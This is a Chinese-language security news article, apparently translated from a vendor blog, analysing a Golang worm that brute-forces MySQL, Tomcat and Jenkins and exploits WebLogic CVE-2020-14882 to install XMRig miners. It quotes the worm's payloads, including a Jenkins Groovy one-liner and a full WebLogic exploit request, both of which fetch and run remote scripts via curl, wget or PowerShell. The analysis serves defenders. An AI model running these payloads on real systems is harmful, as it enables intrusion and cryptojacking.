當前位置:
首頁 > 新聞 > Golang蠕蟲將Windows和Linux伺服器變成門羅幣挖礦機

Golang蠕蟲將Windows和Linux伺服器變成門羅幣挖礦機

使用Golang語言開發多平台惡意軟體是2020年惡意軟體的發展趨勢。2020年12月初,研究人員發現了一個新的用Golang語言編寫的蠕蟲。該蠕蟲嘗試在網路中傳播來大規模地運行XMRig挖礦機。惡意軟體的目標是Windows和Linux伺服器。在老版本中,該蠕蟲嘗試利用WebLogic的漏洞——CVE-2020-14882。

研究人員分析發現,攻擊者持續更新C2伺服器上的蠕蟲,表明惡意軟體開發者非常活躍,而且在未來的更新中可能會攻擊其他弱配置的服務。

技術分析

攻擊者使用了3個文件:

·釋放器腳本(bash或powershell);

·Golang二進位蠕蟲;

·XMRig 挖礦機。

這3個文件都位於同一C2伺服器上。

截止目前,ELF 蠕蟲二進位文件和bash 釋放器腳本在VirusTotal 中都沒有檢測到。圖1是VirusTotal 對ELF 蠕蟲二進位文件的檢測結果。

圖 1: VirusTotal 對ELF 蠕蟲二進位文件的檢測結果

惡意軟體在Windows和Linux操作系統上的行為非常相似。下面對Linux蠕蟲的工作流進行分析。

Linux蠕蟲工作流

蠕蟲執行後會檢查受感染的機器上是否有進程在監聽52013埠。埠監聽器的存在是一個mutex互斥量。如果埠的socket已經開放,惡意軟體實例就會退出,否則就會打開一個埠的網路socket。

在老版本中,蠕蟲會解壓XMRig 挖礦機為Network01到tmp文件夾中,並運行。挖礦機會使用Go資源嵌入包(go-bindata)嵌入到Golang二進位文件中,惡意軟體會使用bindataFile來解壓嵌入的XMRig 挖礦機。圖2是文件中的函數:

圖 2: xmrig_linux_amd64.go文件

惡意軟體會使用TCP SYN掃描網路來找到可以暴力破解的服務,並在網路中傳播。然後掃描有與這些服務相關的開放埠的IP,Tomcat 和 Jenkins的埠是8080,MySQL的埠是3306,WebLogic的埠是7001。這些漏洞利用中在src exp代碼下有一個包。

圖 3: 「exp」包文件和函數

蠕蟲使用gopacket庫來提供Go語言的C綁定,用libpcap來讀取網路包。通過運行pcapc,蠕蟲會收集網路數據並繼續對服務進行暴力破解。圖4是蠕蟲暴力破解和嘗試在Tomcat和MySQL服務上進行漏洞利用的結果。

圖 4: 蠕蟲結果片段

漏洞利用後,惡意軟體會傳播一個載入器腳本:Linux系統是ld.sh,Windows平台是ld.ps1。載入器負責釋放和運行XMRig挖礦機和Golang 蠕蟲。圖5和圖6是載入器腳本。

圖 5:? ldr.sh –Linux平台的釋放器bash腳本

圖 6: ldr.ps1 script – Windows平台的釋放器 powershell腳本

漏洞利用流

下面描述每個服務的攻擊流:

MySql: Port 3306

惡意軟體會運行憑證暴力破解攻擊。惡意軟體會使用硬編碼的弱憑證目錄,比如root:123456。

成功登陸後,惡意軟體會使用mysql UDF運行shellcode來獲取本地許可權提升。漏洞利用以十六進位字元串的形式嵌入在二進位文件中。蠕蟲對不同的操作系統和架構有不同的漏洞利用,設計的系統和架構有UDFLINUX32、UDFLINUX64、UDFLWIN32和UDFWIN64。

運行漏洞利用後,payload會用sys_exec 命令來釋放和運行載入器腳本。URLWIN 和URLLINUX 保存釋放器腳本URL。圖7和圖8是每個操作系統對應的payload。

圖 7: MySQL查詢– Linux payload

圖 8: MySQL 查詢– Windows payload

Tomcat: Port 8080

惡意軟體會使用基本認證在管理員面板上運行憑證填充。

圖 9: 到Tomcat管理員面板的認證請求示例

成功嘗試後,惡意軟體會嘗試部署一個WAR文件,用來傳輸含有惡意payload的1.jsp 文件。

惡意軟體會發送Get請求,並分析jsp文件 %s/1.jsp?win=%slinux=%s 的參數。這些參數中含有釋放器腳本URL。然後,JSP腳本會釋放和運行其載入器。

圖 10: 1.jsp文件腳本

Jenkins: Port 8080

與之前漏洞利用類似,惡意軟體會用口令填充來暴力破解Jenkins 登陸,並運行以下payload:

cmd@/c@powershell iex(New-Object Net.WebClient).DownloadString(『%s』)!bash@-c@(curl -fsSL %s || wget -q -O – %s) | bash

println 「%s」 」%s」;def s=new String(Base64.getDecoder().decode(「%s」 」%s」.reverse())).split(「!」);def c=System.getProperty(「os.name」).contains(「indo」)?s[0].split(「@」):s[1].split(「@」);c.execute()

WebLogic: Port 7001

在之前版本中,惡意軟體會用最新的WebLogic 遠程代碼執行漏洞利用CVE-2020-14882。惡意軟體會發送到WebLogic服務的get請求,並使用GET請求header 作為payload的一部分。

GET

/console/css/%%%2%e%%%2%e%%%2%fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(『weblogic.work.ExecuteThread

% currentThread(weblogic.work.ExecuteThread)Thread.currentThread();weblogic.work.

WorkAdapter% adapter=currentThread.getCurrentWork();java.lang.reflect.Field%

field=adapter.getClass().getDeclaredField(「connectionHandler」);field.setAccessible

(true);Object% obj=field.get(adapter);weblogic.servlet.internal.ServletRequestI

mpl% req(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod

(「getServletRequest」).invoke(obj);String% cmd=req.getHeader(「cmd」);String[]%%

20cmds=System.getProperty(「os.name」).toLowerCase().contains(「win」)?new% String[]{「cmd.exe」,」/c」,req.getHeader(「win」)}:new% String[]{「/bin/sh」,」c」,req.getHeader

(「linux」)};if(cmd!=nullcurrentThread.interrupt();』) HTTP/1.0

Host: %s:%d

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:82.0) Gecko/20100101 Firefox/82.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Connection: close

cmd: ls

linux: ( (curl -fsSL %s || wget -q -O – %s) | bash )

win: start powershell iex(New-Object Net.WebClient).DownloadString(『%s』)

總結

在2020年,研究人員發現許多攻擊不同平台的Golang惡意軟體,包括Windows、Linux、Mac和安卓。研究人員認為這一趨勢在2021年將會繼續。此外,蠕蟲的PE和ELF版本代碼幾乎完全相同。

參考及來源:https://www.intezer.com/blog/research/new-golang-worm-drops-xmrig-miner-on-servers/

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

GPS定位欺騙浮出水面
TeamTNT部署具有DDoS功能的IRC殭屍網路